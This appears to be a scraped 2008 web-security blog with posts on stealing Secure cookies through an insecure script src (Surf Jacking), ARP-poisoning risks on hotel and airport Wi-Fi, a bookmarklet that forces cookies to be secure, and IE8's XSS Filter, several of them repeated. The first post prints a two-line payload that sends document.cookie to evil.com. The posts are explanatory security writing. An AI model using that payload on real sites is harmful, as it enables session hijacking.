I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?
Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:
<script src="http://myanalytics.com/webbugs.js"></script>
Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):
CookiesStealer = new Image();
CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.
Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok... I lied... every browser EXCEPT ONE... can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked... that's pretty cool...
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.
Tuesday, September 23, 2008
Sunday, September 14, 2008
Hostile Hotel Networks?!?!
Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I'm talking about here.
As I read the article... I couldn't help but smile... the article made it seem like Hotels have horribly insecure networks! The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!
Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely. Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY. Take for example, Address Resolution Protocol (ARP). ARP is the one protocol that really makes me paranoid. The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.
The ARP abuses I'm most interested in are ARP Poisoning attacks. These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway. Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms). Ask yourself this question.... why would I ever join an un-trusted network and possibly subject myself to such attacks?
Surprisingly, people join un-trusted networks all time. If you've ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport.... you've joined an un-trusted network… IT’S THAT SIMPLE. Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network. Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.
Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business. Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to "get this out before my plane leaves!" If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails... everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see... and let the creds roll in. It's that simple... trust me... I've seen it firsthand... I can guarantee that you'll have someone’s creds within 5 minutes...
Security pros will argue, “you can use a VPN” and they are right. If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user? What about mom and pop, traveling on vacation… where is their VPN? Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way. Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host. Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning. It's truly amazing how noisy our computers have become, spitting out all sorts of info... trusting that everyone else on the network is playing nicely.
Let’s say you understand the risks of MITM and you have to email something out before your plane leaves. You attempt to connect to your VPN server and you see a certificate warning. You suspect that someone may have an MITM against you using ARP Poisoning... what can you do to protect yourself and still get the email out?
As I read the article... I couldn't help but smile... the article made it seem like Hotels have horribly insecure networks! The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!
Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely. Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY. Take for example, Address Resolution Protocol (ARP). ARP is the one protocol that really makes me paranoid. The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.
The ARP abuses I'm most interested in are ARP Poisoning attacks. These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway. Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms). Ask yourself this question.... why would I ever join an un-trusted network and possibly subject myself to such attacks?
Surprisingly, people join un-trusted networks all time. If you've ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport.... you've joined an un-trusted network… IT’S THAT SIMPLE. Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network. Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.
Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business. Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to "get this out before my plane leaves!" If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails... everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see... and let the creds roll in. It's that simple... trust me... I've seen it firsthand... I can guarantee that you'll have someone’s creds within 5 minutes...
Security pros will argue, “you can use a VPN” and they are right. If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user? What about mom and pop, traveling on vacation… where is their VPN? Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way. Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host. Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning. It's truly amazing how noisy our computers have become, spitting out all sorts of info... trusting that everyone else on the network is playing nicely.
Let’s say you understand the risks of MITM and you have to email something out before your plane leaves. You attempt to connect to your VPN server and you see a certificate warning. You suspect that someone may have an MITM against you using ARP Poisoning... what can you do to protect yourself and still get the email out?
Monday, September 8, 2008
Simple Lesson on Secure Cookies
I recently read a paper written by Sandro Gauci from Enable Security entitled "Surf Jacking - HTTPS will not save you". You can find the paper here.
It's an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.
<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim's to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective... yet we continue to struggle on wide scale implementation because we've taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn't, it would break the web... but i digress.
There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a "SET-COOKIE" header, it's merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires...etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.
I've set up a page on here that simply sets a cookie in the following manner:
Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE
Examining the Cookie in FireFox shows the following:
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.
javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute... Hmmmm a tool to prevent Surf/Side Jacking attacks... I wonder what I would call it... Any ideas Nate?
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We've turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.
Now, this approach does have it cons... Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)
It's an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.
<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim's to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>
I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective... yet we continue to struggle on wide scale implementation because we've taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn't, it would break the web... but i digress.
There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a "SET-COOKIE" header, it's merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires...etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.
I've set up a page on here that simply sets a cookie in the following manner:
Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE
Examining the Cookie in FireFox shows the following:
As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.
javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";
The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute... Hmmmm a tool to prevent Surf/Side Jacking attacks... I wonder what I would call it... Any ideas Nate?
After we run the Javascript, we can take another look at the Cookie info presented by Firefox:
As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We've turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.
Now, this approach does have it cons... Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)
Wednesday, September 3, 2008
IE8b2 XSS Filter
I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
Subscribe to:
Posts (Atom)